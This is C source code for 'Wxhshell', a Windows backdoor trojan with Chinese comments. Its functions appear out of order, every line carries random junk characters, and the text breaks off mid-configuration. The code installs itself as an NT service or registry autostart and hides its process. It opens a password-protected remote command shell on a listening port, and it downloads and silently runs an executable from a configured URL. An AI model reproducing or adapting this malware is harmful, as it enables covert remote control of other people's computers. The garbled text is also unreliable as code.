DWORD BasePriority; D{&0r.2F
ULONG UniqueProcessId; 8#OcrJzC
ULONG InheritedFromUniqueProcessId; ~:Jw2 P2z
} PROCESS_BASIC_INFORMATION; nDh]: t=
D:9/;9V
PROCNTQSIP NtQueryInformationProcess; bqwQi>^Cw
-S]yXZ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A4,tv#z
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OC|9~B1
g0m6D:f
HANDLE hProcess; Th&*
d;
PROCESS_BASIC_INFORMATION pbi; '/^bO# G:
4~Ptn / g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =)Cqjp
if(NULL == hInst ) return 0; ffuV158a&
PQ`p:=~>:i
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >^#OtFHuT)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TO.71x|
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H+:SL $+<o
v$R+5_@[l
if (!NtQueryInformationProcess) return 0; FhZ^/= As
i<N[s O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _~aFzM
if(!hProcess) return 0; I$K? ,
&TqY\l
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H[ 6L!
tn-_3C
CloseHandle(hProcess); m_Owe/BC#m
IL?mt2I Q>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \#P>k;D
if(hProcess==NULL) return 0;
D(}w$hi8
sh []OSM
HMODULE hMod; `C~RA,M
char procName[255]; .z/M (
unsigned long cbNeeded; WPBn?vb0<
HS{a^c%
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W]!{Y'G
re9*q
CloseHandle(hProcess); Q:I2\E
{shf\pm!o
if(strstr(procName,"services")) return 1; // 以服务启动 D-8NDa(`
P"dWh;I_
return 0; // 注册表启动 5"4O_JQ
} Y6T1_XG
jtdhdA
// 主模块 j9zK=eG
int StartWxhshell(LPSTR lpCmdLine) nJJ9>#<g$
{ #hEN4c[Ex
SOCKET wsl; 6iwIEb
BOOL val=TRUE; `8Y& KVhu
int port=0; Hl"qLrb4
struct sockaddr_in door; v\Zni4
#%CbZw@hJ9
if(wscfg.ws_autoins) Install(); O) ks
G[4TT#
port=atoi(lpCmdLine); S Rs~p
uT8@p8
if(port<=0) port=wscfg.ws_port; $x,?+N
i>!7/o
WSADATA data; [6@{^
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sY4sq5'!
nQuiRTU<
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b #U
nE
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vn"2"hPF|
door.sin_family = AF_INET; SFrQPdX6V
door.sin_addr.s_addr = inet_addr("127.0.0.1"); E#t;G:+A
door.sin_port = htons(port);
zzsQfI#
kt8P\/~*i
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6QsH?!bu
closesocket(wsl); >C"f'!oM,j
return 1; p F\~T>
} )ndcBwQc"
,}15Cse
if(listen(wsl,2) == INVALID_SOCKET) { M17oAVN7D
closesocket(wsl); BIf E+L(
return 1; 8$O=HE*
} `Tt}:9/3
Wxhshell(wsl); :'aT4
WSACleanup(); .Ap-<FB
5~T`R~Uqb
return 0; BKDs3?&
{9sA'5
} \|2 0E51B[
`oP<mLxle
// 以NT服务方式启动 ea3;1-b:
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ad)Po
{ 9] /xAsD
DWORD status = 0; h^klP: Q
DWORD specificError = 0xfffffff; a.+2h%b
c|<*w[%C
serviceStatus.dwServiceType = SERVICE_WIN32; :fI|>I
~
serviceStatus.dwCurrentState = SERVICE_START_PENDING; cjzhuH/y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zx"'WM*
serviceStatus.dwWin32ExitCode = 0; O$jj&
serviceStatus.dwServiceSpecificExitCode = 0; /C(lQs*l
serviceStatus.dwCheckPoint = 0; .'o<.\R8
serviceStatus.dwWaitHint = 0; E~?0Yrm F
"dfq
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "p>$^
if (hServiceStatusHandle==0) return; NNZ%jJy?=,
":E^&yQ
status = GetLastError(); m+p}Qi8i)
if (status!=NO_ERROR) y6.}h9~
{ K;jV"R<9
serviceStatus.dwCurrentState = SERVICE_STOPPED; WF0%zxg ]
serviceStatus.dwCheckPoint = 0; CZB!vh0
serviceStatus.dwWaitHint = 0; Qs2E>C
serviceStatus.dwWin32ExitCode = status; yidUtSv=,
serviceStatus.dwServiceSpecificExitCode = specificError; x2p}0N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E"!I[
return; yM$@*od
} &7* |rshZ
)i8Hdtn
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;AV[bjRE\
serviceStatus.dwCheckPoint = 0; %bo0-lnp
serviceStatus.dwWaitHint = 0; 8wGq:@#=
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^'EeJN
} bJc<FL<E
Ed[ tmaEuV
// 处理NT服务事件,比如:启动、停止 Q!DH8'|4?L
VOID WINAPI NTServiceHandler(DWORD fdwControl) rU?sUm,ch
{ g_lj/u]P
switch(fdwControl) "?Dov/+Q.
{ 4|Z;EAFx
case SERVICE_CONTROL_STOP: @UCI^a~w
serviceStatus.dwWin32ExitCode = 0; YXE?b@W"
serviceStatus.dwCurrentState = SERVICE_STOPPED; X`km\\*
serviceStatus.dwCheckPoint = 0; lz>YjK:
serviceStatus.dwWaitHint = 0; f49pIcAq
{ 6?y<F4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qzk/P1{-
} lSv?!2
return; 2E~WcB
case SERVICE_CONTROL_PAUSE: W.OcmA>x
serviceStatus.dwCurrentState = SERVICE_PAUSED; 5W/!o&x~7
break; _`yd"0Ux
case SERVICE_CONTROL_CONTINUE: pME17 af
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,|hM`<"?
break; ,lK=m~
case SERVICE_CONTROL_INTERROGATE: r[xj,eIb
break; \_?A8F
}; VwfeaDJw
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^):m^w.
} $hexJzX
~B!O
X
// 标准应用程序主函数 9kmEg$WM
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r0ml|PX
{ FEqs4<}E
*a_U2}N
// 获取操作系统版本 @Qw~z0PE<l
OsIsNt=GetOsVer(); ^(<Ecdz(
GetModuleFileName(NULL,ExeFile,MAX_PATH); e~#;ux
L ]HtmI
// 从命令行安装 1Rlg%G'
if(strpbrk(lpCmdLine,"iI")) Install(); }SL&Y `Y]
rQ~7BlE
// 下载执行文件 9>gxJ7pY
if(wscfg.ws_downexe) { k
I{)"
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l,cnMr^.W
WinExec(wscfg.ws_filenam,SW_HIDE); ks92-%;:
} ~{Gbu oH
r!H'8O!
if(!OsIsNt) { m80e^
// 如果时win9x,隐藏进程并且设置为注册表启动 G-`4TQ
HideProc(); Y~ j.Kt
StartWxhshell(lpCmdLine); (Fc\*Vn
} 2$=U#!OtU
else \Fd6Q_
if(StartFromService()) NfG<!
// 以服务方式启动 B/"TaXVU
StartServiceCtrlDispatcher(DispatchTable); YbaaX{7^
else >*jcXao^
// 普通方式启动 eVL#3|=
StartWxhshell(lpCmdLine); AY]dwKw
-$W#bqvz^
return 0; Co|3k:I 8
} 0=N,y
>eX&HS oy
[
j'L*j
y $,K^f
=========================================== = MQpYX
0ws1S(pq
kKbq?}W[
gc~nT/lfK
Z)
nB
w>-@h>Ln
" ze* =7
\o-9~C\c*
#include <stdio.h> r\#_b4-v3h
#include <string.h> ZJL8"(/R
#include <windows.h> _v~c3y).
#include <winsock2.h> +ucj>g1(#
#include <winsvc.h> G- _h 2
#include <urlmon.h> #G</RYM~m
xBba&A]=
#pragma comment (lib, "Ws2_32.lib") [k1N-';;;
#pragma comment (lib, "urlmon.lib") @VdkmqXz
NifD
pqjgt
#define MAX_USER 100 // 最大客户端连接数 jA<(#lm;
#define BUF_SOCK 200 // sock buffer 3y&N}'R(F
#define KEY_BUFF 255 // 输入 buffer b02V#m;Z
QaAA@l
#define REBOOT 0 // 重启 0r<?Ve
#define SHUTDOWN 1 // 关机 &j}08aK%
9;W2zcN
#define DEF_PORT 5000 // 监听端口 *\#/4_yB}
z{wW6sgPr
#define REG_LEN 16 // 注册表键长度 P
X9GiJN "
#define SVC_LEN 80 // NT服务名长度 d|I_SI1
!VLk|6mn
// 从dll定义API :/rl \woA>
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n6A N
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O}#Ic$38
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^?+qNbK
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |3LD"!rEx
7rIz
// wxhshell配置信息 .>QzM>zO
struct WSCFG { U-F\3a;&
int ws_port; // 监听端口 y!z2+q2
char ws_passstr[REG_LEN]; // 口令 5OHg% ^
int ws_autoins; // 安装标记, 1=yes 0=no [{!K'V
char ws_regname[REG_LEN]; // 注册表键名 MP/@Mf\<E
char ws_svcname[REG_LEN]; // 服务名 *R'r=C`
char ws_svcdisp[SVC_LEN]; // 服务显示名 " V[=U13
char ws_svcdesc[SVC_LEN]; // 服务描述信息 9Hu;CKs
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?<F=*eS
int ws_downexe; // 下载执行标记, 1=yes 0=no .[8!
E_
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /,C;fT<R
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KjWF;VN*[3
3(2WO^zX {
}; I |PEC-(
vR"?XqgZ
// default Wxhshell configuration $7bLw)7
struct WSCFG wscfg={DEF_PORT, WD/\f$4
"xuhuanlingzhe", 7pllzy
1, s=S9y7i(R
"Wxhshell", q?R^~r
"Wxhshell", G3.*fSY$.<
"WxhShell Service", i2+r#Hw#5R
"Wrsky Windows CmdShell Service", ;C^!T
"Please Input Your Password: ", .j
et0w
1, M&Q